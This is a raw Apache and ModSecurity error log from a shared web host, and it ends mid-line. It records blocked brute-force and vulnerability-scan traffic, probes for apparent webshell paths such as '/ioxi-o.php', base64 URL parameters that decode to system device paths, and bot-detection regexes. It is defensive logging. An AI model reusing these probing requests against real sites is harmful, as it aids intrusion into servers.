https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZQ== [Sat Jun 13 18:25:25.807505 2026] [security2:error] [pid 715691:tid 715806] [remote 209.87.149.26:44197] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "vettermysteryship.com"] [uri "/wp-login.php"] [unique_id "ai309bV-dFiaX9AtWiQ2mQABK18"] [Sat Jun 13 18:25:25.869010 2026] [access_compat:error] [pid 715691:tid 715716] [remote 57.141.14.66:26002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:25.869315 2026] [access_compat:error] [pid 715691:tid 715716] [remote 57.141.14.66:26002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:26.009035 2026] [access_compat:error] [pid 715691:tid 715798] [remote 57.141.14.2:54845] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:26.009466 2026] [access_compat:error] [pid 715691:tid 715798] [remote 57.141.14.2:54845] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:26.106002 2026] [access_compat:error] [pid 715691:tid 715791] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:25:26.106494 2026] [access_compat:error] [pid 715691:tid 715791] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:25:26.213352 2026] [security2:error] [pid 715691:tid 715730] [remote 17.241.227.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai309rV-dFiaX9AtWiQ2qQABMRQ"] [Sat Jun 13 18:25:26.236781 2026] [security2:error] [pid 715691:tid 715718] [remote 209.87.149.26:44197] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "vettermysteryship.com"] [uri "/wp-login.php"] [unique_id "ai309rV-dFiaX9AtWiQ2rAABfwg"], referer: https://vettermysteryship.com/wp-login.php [Sat Jun 13 18:25:26.262398 2026] [access_compat:error] [pid 756778:tid 756835] [remote 57.141.14.90:56940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:26.262684 2026] [access_compat:error] [pid 756778:tid 756835] [remote 57.141.14.90:56940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:26.594262 2026] [access_compat:error] [pid 715691:tid 715794] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9wb3dlcg== [Sat Jun 13 18:25:26.594617 2026] [access_compat:error] [pid 715691:tid 715794] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9wb3dlcg== [Sat Jun 13 18:25:26.597041 2026] [security2:error] [pid 756778:tid 756837] [remote 17.22.253.31:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai309pPtHOFP9IG6xxUslQAAyzo"] [Sat Jun 13 18:25:26.617167 2026] [access_compat:error] [pid 756778:tid 756839] [remote 57.141.14.32:28735] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:26.617594 2026] [access_compat:error] [pid 756778:tid 756839] [remote 57.141.14.32:28735] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:26.825353 2026] [security2:error] [pid 756778:tid 756843] [remote 2a02:c7c:cb78:2e00:4092:97ef:e73:8b0d:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai309pPtHOFP9IG6xxUsnAAA0kA"], referer: https://www.torquayfans.com [Sat Jun 13 18:25:26.825393 2026] [security2:error] [pid 756778:tid 756843] [remote 2a02:c7c:cb78:2e00:4092:97ef:e73:8b0d:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai309pPtHOFP9IG6xxUsnAAA0kA"], referer: https://www.torquayfans.com [Sat Jun 13 18:25:26.835680 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.15:48539] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:26.836063 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.15:48539] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:26.838986 2026] [security2:error] [pid 715691:tid 715828] [remote 17.241.227.101:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 101.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai309rV-dFiaX9AtWiQ2vwABeXU"] [Sat Jun 13 18:25:27.016239 2026] [security2:error] [pid 756778:tid 756984] [client 51.68.107.150:31459] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.digitise.africa"] [uri "/robots.txt"] [unique_id "ai3095PtHOFP9IG6xxUsoQAAANE"] [Sat Jun 13 18:25:27.016434 2026] [security2:error] [pid 756778:tid 756984] [client 51.68.107.150:31459] ModSecurity: Warning. Matched phrase "MJ12bot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "www.digitise.africa"] [uri "/robots.txt"] [unique_id "ai3095PtHOFP9IG6xxUsoQAAANE"] [Sat Jun 13 18:25:27.168190 2026] [security2:error] [pid 756778:tid 757003] [client 216.73.216.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug41842.phpt"] [unique_id "ai3095PtHOFP9IG6xxUspgAAAOQ"] [Sat Jun 13 18:25:27.177792 2026] [access_compat:error] [pid 715691:tid 715723] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:25:27.178264 2026] [access_compat:error] [pid 715691:tid 715723] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:25:27.327104 2026] [access_compat:error] [pid 756778:tid 756850] [remote 57.141.14.54:22025] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:27.327417 2026] [access_compat:error] [pid 756778:tid 756850] [remote 57.141.14.54:22025] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:27.722469 2026] [access_compat:error] [pid 715691:tid 715710] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:25:27.722711 2026] [access_compat:error] [pid 715691:tid 715916] [client 185.199.157.17:33577] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/Text/index.php, referer: http://krosscorp.us/wp-includes/Text/ [Sat Jun 13 18:25:27.722874 2026] [access_compat:error] [pid 715691:tid 715710] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:25:27.723340 2026] [access_compat:error] [pid 715691:tid 715916] [client 185.199.157.17:33577] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/Text/index.phtml, referer: http://krosscorp.us/wp-includes/Text/ [Sat Jun 13 18:25:27.725675 2026] [access_compat:error] [pid 715691:tid 715916] [client 185.199.157.17:33577] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/Text/index.php5, referer: http://krosscorp.us/wp-includes/Text/ [Sat Jun 13 18:25:27.747814 2026] [access_compat:error] [pid 715691:tid 715739] [remote 57.141.14.83:49098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:27.748095 2026] [access_compat:error] [pid 715691:tid 715739] [remote 57.141.14.83:49098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:27.813038 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.59:41331] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:27.813386 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.59:41331] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:27.821617 2026] [security2:error] [pid 715691:tid 715770] [remote 212.1.215.100:39712] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "avions-biddingestimates.com"] [uri "/"] [unique_id "ai3097V-dFiaX9AtWiQ23wABcjs"], referer: http://wisestimation.com.:80/ [Sat Jun 13 18:25:27.868047 2026] [security2:error] [pid 715691:tid 715720] [remote 17.246.19.19:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3097V-dFiaX9AtWiQ24gABfwo"] [Sat Jun 13 18:25:27.957090 2026] [security2:error] [pid 715691:tid 715748] [remote 17.246.23.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3097V-dFiaX9AtWiQ24wABXCY"] [Sat Jun 13 18:25:28.031346 2026] [security2:error] [pid 756778:tid 756943] [client 185.199.157.13:29937] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/packed.php"] [unique_id "ai30-JPtHOFP9IG6xxUsuAAAAKg"] [Sat Jun 13 18:25:28.130805 2026] [security2:error] [pid 756778:tid 756862] [remote 92.20.93.140:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30-JPtHOFP9IG6xxUsugAAm1M"], referer: https://www.torquayfans.com [Sat Jun 13 18:25:28.130836 2026] [security2:error] [pid 756778:tid 756862] [remote 92.20.93.140:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30-JPtHOFP9IG6xxUsugAAm1M"], referer: https://www.torquayfans.com [Sat Jun 13 18:25:28.211305 2026] [access_compat:error] [pid 715691:tid 715833] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9pbnB1dC9pbnB1dDE= [Sat Jun 13 18:25:28.211587 2026] [access_compat:error] [pid 715691:tid 715833] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9pbnB1dC9pbnB1dDE= [Sat Jun 13 18:25:28.280743 2026] [access_compat:error] [pid 756778:tid 756863] [remote 57.141.14.56:56092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:28.281178 2026] [access_compat:error] [pid 756778:tid 756863] [remote 57.141.14.56:56092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:28.292211 2026] [security2:error] [pid 715691:tid 715807] [remote 17.241.75.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30-LV-dFiaX9AtWiQ27wABKmA"] [Sat Jun 13 18:25:28.593979 2026] [access_compat:error] [pid 756778:tid 756871] [remote 57.141.14.76:57311] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:28.594423 2026] [access_compat:error] [pid 756778:tid 756871] [remote 57.141.14.76:57311] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:28.621075 2026] [security2:error] [pid 756778:tid 756980] [client 77.68.9.24:60604] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.9.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nels.pikarthouse.com"] [uri "/images/images/cache.php"] [unique_id "ai30-JPtHOFP9IG6xxUsxgAAAM0"], referer: www.google.com [Sat Jun 13 18:25:28.627483 2026] [security2:error] [pid 715691:tid 715902] [client 185.199.157.20:54217] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/ioxi-o.php"] [unique_id "ai30-LV-dFiaX9AtWiQ2-AAAAUc"] [Sat Jun 13 18:25:28.727216 2026] [access_compat:error] [pid 715691:tid 715753] [remote 74.7.241.11:55438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 